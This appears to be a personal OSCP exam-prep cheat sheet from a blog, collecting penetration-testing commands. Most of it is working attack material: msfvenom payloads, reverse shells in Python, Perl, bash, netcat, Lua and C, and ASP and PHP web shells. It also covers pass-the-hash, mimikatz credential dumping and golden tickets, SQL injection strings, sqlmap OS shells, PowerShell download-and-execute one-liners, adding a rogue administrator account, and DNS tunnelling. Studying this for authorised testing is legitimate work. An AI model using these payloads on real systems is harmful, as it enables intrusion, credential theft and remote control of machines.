As an OSCP student, I frequently searched the web for notes, tips, advice, or anything that would help me learn the necessary skills to pass the exam. This field guide started off as that, a collection of gathered OSCP notes from around the web, but as I learn more, this post serves as a place to document everything.

If this guide helps you in any way, or you think it is useful, or maybe you just think it sucks… then please, hit me up on twitter and let me know.

Last Updated: 8-10-2021

Table of Contents


Pass-The-Hash w/ PSExec

# This is the most common exploit module you'll be using.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3bf3fa6cb6d:8846f7eaee8fb106bdd830b7586c
msf exploit(psexec) > set SMBDomain test.local
msf exploit(psexec) > exploit

MSFVenom Reverse Shells

msfvenom -p php/reverse_php LHOST= LPORT=4444 -f raw -o dank.php

# Python
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -n 32

# Powershell command
msfvenom -p windows/exec CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('')\"" -e x86/unicode_mixed -b "\x00\x0d" --platform Windows -a x86

# C code
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0d" > out.txt

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o shell.exe

msfvenom -p windows/shell_reverse_tcp --format asp LHOST= -o shell.asp

# Linux
msfvenom -p linux/x86/shell_reverse_tcp exitfunc=thread LHOST= LPORT=443 -f elf
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=4444 -f raw >

# Javascript
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f raw > shell.jsp

Note: Shells with a “/” are staged and ones with a “_” are not.
e.g. windows/shell/reverse_tcp vs windows/shell_reverse_tcp

A staged payload means that your payload consists of two main components: a small stub loader and the final stage payload. When you deliver windows/shell/reverse_tcp to the target machine, for example, you are actually sending the loader first. And then when that loader gets executed, it will ask the handler (on the attacker’s end) to send over the final stage (the larger payload), and finally you get a shell. - Deep Dive Into Stageless Meterpreter Payloads - Rapid7

Jobs & Sessions

# Listing jobs
msf > jobs

# Killing a job
msf > jobs -k <session-number>

# Killing all jobs
msf > jobs -K

# Listing sessions
msf > sessions

# Upgrading an established session with meterpreter
# Note: Not all sessions can be upgraded.
msf > sessions -u <session-number>

# Run a command directly through a sessions
msf > sessions -c <command>

# Killing a session
msf > sessions -k <session-number>

# Killing all sessions
msf > sessions -K


# Starting a multi-handler
msf > use exploit multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost
msf > set lport 4444
msf > exploit -j -z

Uploading & Downloading Files

upload /path/in/your/disk/payload.exe exploit.exe
download /path/in/victim/disk


load mimikatz
meterpreter > kerberos
meterpreter > ssp
meterpreter > msv
meterpreter > wdigest

- or -
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords

- or -
load kiwi
meterpreter > creds_all

Golden Ticket

# Load Kiwi first
meterpreter > load kiwi

# Using kiwi to do Golden Ticket
golden_ticket_create -d <domain-name> -k <krbtgt-NTLM> -s <SID-without-RID> -u <User-for-ticket> -t /root/golden.tck

# Apply Golden Ticket
kerberos_ticket_use /root/golden.tck

# List active tickets



# Windows NTLM hashes (-m 1000) & dictionary attack (-a 0)
hashcat -a 0 -m 1000 hashfile.txt wordlist.txt

# to add rules, add the -r flag
hashcat -a 0 -m 1000 hashes.txt wordlist.txt -r rules/dive.rule


Python Reverse Shells

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Perl Reverse Shells

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="MY-LOCAL-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also one located in kali: /usr/share/webshells/perl/

Bash Reverse Shells

/bin/bash -i >& /dev/tcp/ 0>&1

NC w/o -e Flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 443 >/tmp/f

CMD Prompt Reverse Shell

powershell -Command "(New-Object System.Net.WebClient).Downloadfile('', 'C:\Users\user\Desktop\nc.exe')"

# Then run:
C:\Users\jill\Desktop\nc.exe 443 -e cmd.exe

Lua Reverse Shell

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('',4445);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

ASP Web Shell

< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">

<script runat="server">
Function RunCmd(command)
 Dim res as integer
 Dim myProcess As New Process()
 Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
 myProcessStartInfo.UseShellExecute = false
 myProcessStartInfo.RedirectStandardOutput = true
 myProcess.StartInfo = myProcessStartInfo
 myProcessStartInfo.Arguments="/c " + command
 Dim myStreamReader As StreamReader = myProcess.StandardOutput
 Dim myString As String = myStreamReader.Readtoend()
 RunCmd= MyString
End Function

<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>

< %
if request("cmd") <> "" then
<pre>"+ RunCmd(request("cmd"))+ "</pre>
end if

Bind C Shell

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#define LOCAL_PORT 4444

int main()
  int resultfd, sockfd;
  struct sockaddr_in my_addr;
  char \*args[] = { "/bin/busybox", "sh", NULL};
  sockfd = socket(AF_INET, SOCK_STREAM, 0);

  int one = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

  my_addr.sin_family = AF_INET; // 2
  my_addr.sin_port = htons(LOCAL_PORT); // port number
  my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP

  bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
  listen(sockfd, 0);
  resultfd = accept(sockfd, NULL, NULL);
  dup2(resultfd, 2);
  dup2(resultfd, 1);
  dup2(resultfd, 0);
  execve(args[0], &args[0], 0);
  return 0;

Reverse C Shell

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR ""
#define REMOTE_PORT 443

int main(int argc, char *argv[])
  struct sockaddr_in sa;
  int s;
  char \*args[] = { "/bin/busybox", "sh", NULL};
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
  sa.sin_port = htons(REMOTE_PORT);
  s = socket(AF_INET, SOCK_STREAM, 0);
  connect(s, (struct sockaddr *)&sa, sizeof(sa));
  dup2(s, 0);
  dup2(s, 1);
  dup2(s, 2);
  execve(args[0], &args[0], 0);
  return 0;

TTY Shell Upgrades

# python
python -c 'import pty; pty.spawn("/bin/sh")'

# bash
echo os.system('/bin/bash')
/bin/sh -i

# ash
/bin/busybox sh -i

# perl
perl -e 'exec "/bin/sh";'

# lua interpreter
lua: os.execute('/bin/ash')
lua -e "os.execute('/bin/sh')"

# nmap interactive

# vi
:set shell=/bin/bash:shell


On Kali, (Listen):
socat file:`tty`,raw,echo=0 tcp-listen:4444

- then -

On Victim:
# WHERE my-local-ip is
wget -O /tmp/socat http://my-local-ip/socat/builds/i686/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

tar -xvf socat.tar
chmod +x socat
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

# By itself:
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:


Important Flags

-A: Not only Service Version but OS detection, Auto script scanning and traceroute.
-oN: Output to nmap file.
-oG: Output to greppable format
-oA: Output to all formats
-oX: Output to XML.
-p-: Scan all ports including port 0.
-T: Timing (0-5) How fast nmap scans.
-sU: UDP Scan
-sT: TCP Connect Scan -
-sV: Check open ports for service/version info. Ex: Web on non-std port.
-sS: TCP SYN Scan -
-Pn: Doesn't ping, assumes the machine is up. Great for Windows.
-sn: No port scan, just ping to see if host is up.

All Port Scans

nmap -p- -oN outfile

Full Scan

nmap -vv -Pn -A -sS -p- -oN outfile

UDP Scan

nmap --top-ports 1000 -sU -vv -oN outfile-udp

Script Scan

ls /usr/share/nmap/scripts
nmap -A -p- --script

nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 >> smb_vulnerabilities.log

nmap --script vuln -p 139,445

Web Stuff


gobuster -u http://192.168.1.X/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e

gobuster -u http://192.168.1.X/ -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s '200,204,403,500' -e

Extra Web Stuff

'%0a' can encode to carriage returns

PHPMyAdmin Queries

SELECT LOAD_FILE ('/etc/passwd');

SQL Injections

1' or '1' = '1
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' {
' OR '1'='1' /*
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
") or ("a"="a


sqlmap -u --dbms=mysql --dump --threads=5

#Shell on a machine:
sqlmap -u --dbms=mysql --threads=5 --os-shell


wpscan --url <IP>
wpscan --url --wordlist /usr/share/wordlists/rockyou.txt --username admin

Curl (Look for PUT/POST)

curl -v -X OPTIONS

PUT a PHP Shell

curl -v -X PUT -d '<pre><?php system ($_GET["cmd"]); ?></pre>'

Simple PHP Web Shell

<?php system($_REQUEST['cmd']); ?>

<?php system ($_GET["cmd"]); ?>

Get a Limited Shell From PHP Webshell:

# on kali
nv -nvlp 443

# on victim via browser -e /bin/bash

# -or- -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

# -or- /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

DB Stuff

mysql -u root -pDaNkMeMes -e "show databases;"
mysql -u root -pDaNkMeMes <database> -e "show tables;"
mysql -u root -pDaNkMeMes mysql -e "select * from user\G;"

Post Exploitation

Mimikatz (Not Through Metasploit)

wmic process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -DumpCreds | Out-File C:\\Users\\public\\a.txt"

cd /opt/PowerShellMafia/PowerSploit/master/Exfiltration/
python -m SimpleHTTPServer 80
wmic process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://my-local-ip/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds | Out-File C:\\Users\\Public\\a.txt"

Windows File Transfers

WGET Through CScript (to upload nc/evil.exe)

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
then do...
cscript wget.vbs evil.exe

WGET Through PowerShell (to upload nc/evil.exe)

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "" >> wget.ps1
echo $file = "psexec.exe" >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
then do...
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

TFTP (Windows)

root@kali:~/oscp/file_xfer/tftp mkdir /tftp
root@kali:~/oscp/file_xfer/tftp atftpd --daemon --port 69 /tftp
root@kali:~/oscp/file_xfer/tftp cp /usr/share/windows-binaries/nc.exe /tftp

tftp -i get nc.exe

FTP (Transfer)

root@kali:~ apt-get update && apt-get install pure-ftpd

groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

# then
C:\Users\offsec> echo open 21> ftp.txt
C:\Users\offsec> echo USER offsec >> ftp.txt
C:\Users\offsec> echo ftp >> ftp.txt
C:\Users\offsec> echo bin >> ftp.txt
C:\Users\offsec> echo GET nc.exe >> ftp.txt
C:\Users\offsec> echo bye >> ftp.txt
C:\Users\offsec> ftp -v -n -s:ftp.txt


python /usr/share/doc/python-impacket/examples/ DankShareName /var/www/html

# confirm share is up from linux
smbclient -L --no-pass

# confirm share is up from windows
net view \\

# then party like its hot. Just simply use it like it’s a folder in windows:
dir \\\wlan1
copy \\\wlan1\wpc.exe .
wpc.exe -a --dump

Windows Stuff

Check Privs

cacls cmd.exe

Reset/Add Account

# Add user
net user supreme lol123! /add
net localgroup administrators supreme /add

DNS Stuff

DNS Zone Transfer

# With host (first find the NS)
host -t ns domain.local | cut -d " " -f 4

# WThen check for zone transfers against NS.
host -t axfr domain.local
host -l domain.local

# With dig (first find the NS).
dig +short ns

# then check for zone transfers against NS
dig axfr

DNS Tunneling

# On AWS/Azure/GCloud/DigiOcean
# First register a domain name and transfer it over to the hosting platform.
# Then create 2 records
t1        IN    NS    ; note the dot!
dnsserver1    IN    A

# Setup the daemon (SERVER SIDE)
root@bianca:/# apt-get install iodine
iodined -f -c -P password123

# Setup the daemon (CLIENT SIDE)
root@kali:/# apt-get install iodine
iodine -f -P password123

# Setting up the proxy
ssh -N -D 8080 root@

# Add proxychains config
root@kali:/# vim /etc/proxychains.conf
# at the bottom add
socks5 8080

# --------------------
# If you need to test the iodine connection
# iodined will respond to NS requests sent for the subdomains of the tunnel domain.
dig -t NS

# or send any requests starting with a 'z'
dig -t TXT
dig -t SRV
dig -t CNAME





dnsrecon -d -t axfr


RDP over SSH Tunnel (Static Forwarding):

ssh -L admin@
rdesktop localhost:8080

SSH Tunnel (Dynamic Forwarding):

ssh -D admin@


Listen to ICMP Requests

tcpdump -i tap0 icmp and icmp[icmptype]=icmp-echo


Buffalo NAS

# Check for unauthenticated rsync backup.
> rsync -av
> rsync -av .

Compiling code

gcc file.c -o out

Compile Windows Code in Linux

i686-w64-mingw32-gcc MS11-046.c -lws2_32 -o hack.exe